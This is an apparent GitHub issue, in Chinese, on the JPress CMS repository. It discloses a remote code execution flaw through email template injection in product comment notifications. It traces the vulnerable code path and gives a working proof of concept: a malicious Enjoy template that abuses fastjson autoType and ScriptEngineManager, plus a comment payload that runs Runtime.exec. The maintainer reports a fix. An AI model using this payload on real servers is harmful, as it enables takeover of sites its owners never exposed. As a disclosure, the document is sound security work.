JPressProjects / jpress

JPress,一个使用 Java 开发的建站神器,目前已经有 10w+ 网站使用 JPress 进行驱动,其中包括多个政府机构,200+上市公司,中科院、红+字会等。
http://www.jpress.cn
GNU Lesser General Public License v3.0
2.68k stars 1.18k forks source link

jpress后台存在命令执行漏洞-邮件模板product #172

Closed Er1cccc closed 2 years ago

Er1cccc commented 2 years ago

审计过程

与之前两篇不同,之前交过两个邮件模板注入的洞,一个触发点是在article的评论处,一个是在page的评论处,这次是在product的评论处,代码很相似,但不是同一份代码

jpress后台提供了评论邮件通知管理员功能,而且发送的邮件模板可控,官方给出了例子,告诉我们可以用#(comment.id),那么猜测这里可能会存在模板渲染问题

image-20211222195858075

接着,尝试发一条评论看看后端代码的执行流程,后端对应的代码是io.jpress.module.product.controller.front.ProductController#postComment,这个方法的作用主要是将评论信息保存到数据库,同时还会发送短信通知网站管理员

image-20211222195929587

跟进io.jpress.module.product.ProductNotifyKit#doNotifyAdministrator,发现这里定义了两种方式,一个是sms发送,一个是email,我们跟进email的

image-20211222195948627

发现doNotifyAdministratorByEmail方法会继续调用doSendEmail,这个函数里面有模板渲染操作,在第90和91行,分别对邮件的emailTitle和emailTemplate调用getTemplateByString进行渲染,这两个变量实际上就是最开始我们在前端页面输入的

image-20211222200028114

分析到这里,结合之前交过的那个邮件模板rce,应该可以直接打模板注入了

效果演示

首先通过弱密码进入后台

image-20220116142119465

然后开启这两项

image-20220116142128572

然后配置管理员邮箱,随便配一个,这个是收件者

image-20211222190646284

还得配置发送者的邮箱,配置完记得点提交,拉到最下面点提交

image-20220116142142043

然后设置恶意邮件模板,同样记得要提交

#set(str=comment.content)
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) 
#(x.setAutoTypeSupport(true)) 
#set(sem=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#(x.addAccept(sem)) 
#set(json=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(x=com.alibaba.fastjson.JSON::parse(json))
#set(js=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(e=x.getEngineByName(js)) 
#(e.eval(str))

image-20220116142149882

然后创建一个product,点击上架

image-20211222200233103image-20211222200300076

访问一下刚刚的商品

image-20220116142158890

接下来,在商品下面评论如下内容

javax.script.ScriptEngineManager|{"@type":"javax.script.ScriptEngineManager"}|js|java.lang.Runtime.getRuntime().exec("calc") 

image-20211222200353097

发现计算器成功弹出,漏洞验证成功

image-20211222200405033

JPressProjects commented 2 years ago

在 jpress 最新版本中已解决。